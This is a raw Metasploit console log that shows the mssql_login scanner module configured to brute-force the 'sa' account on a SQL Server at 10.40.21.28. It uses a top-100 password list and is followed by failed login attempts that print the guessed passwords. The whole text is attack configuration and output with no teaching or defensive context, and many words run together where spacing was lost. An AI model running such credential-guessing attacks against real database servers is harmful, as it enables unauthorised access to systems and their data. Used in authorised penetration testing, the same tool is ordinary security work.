msf auxiliary(scanner/mssql/mssql_login) >show options
Module options (auxiliary/scanner/mssql/mssql_login):
Name Current Setting Required Description---- --------------- -------- -----------BLANK_PASSWORDS false no Try blank passwordsforall users
BRUTEFORCE_SPEED5 yes How fast to bruteforce, from 0 to 5DB_ALL_CREDS false no Try each user/password couple stored inthe current database
DB_ALL_PASS false no Add all passwordsinthe current database to the list
DB_ALL_USERS false no Add all usersinthe current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE/home/i3ekr/Desktop/dict/pass-top100.txt no File containing passwords, one per line
RHOSTS10.40.21.28 yes The target address range orCIDR identifier
RPORT1433yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential worksfora host
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"THREADS1yes The number of concurrent threads
USERNAME sa no A specific username to authenticate as
USERPASS_FILE no File containing usersandpasswords separated by space, one pair per line
USER_AS_PASS false no Try the username as the passwordforall users
USER_FILE no File containing usernames, one per line
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
VERBOSE true yes Whether toprint output forall attempts
msf auxiliary(scanner/mssql/mssql_login) >run
[*] 10.40.21.28:1433 - 10.40.21.28:1433 - MSSQL -Starting authentication scanner.
[!]10.40.21.28:1433 - No active DB -- Credential data will notbe saved!
[-] 10.40.21.28:1433 - 10.40.21.28:1433 - LOGIN FAILED: WORKSTATIONsa:123456(Incorrect: )
[-] 10.40.21.28:1433 - 10.40.21.28:1433 - LOGIN FAILED: WORKSTATIONsa:npdx123! (Incorrect: )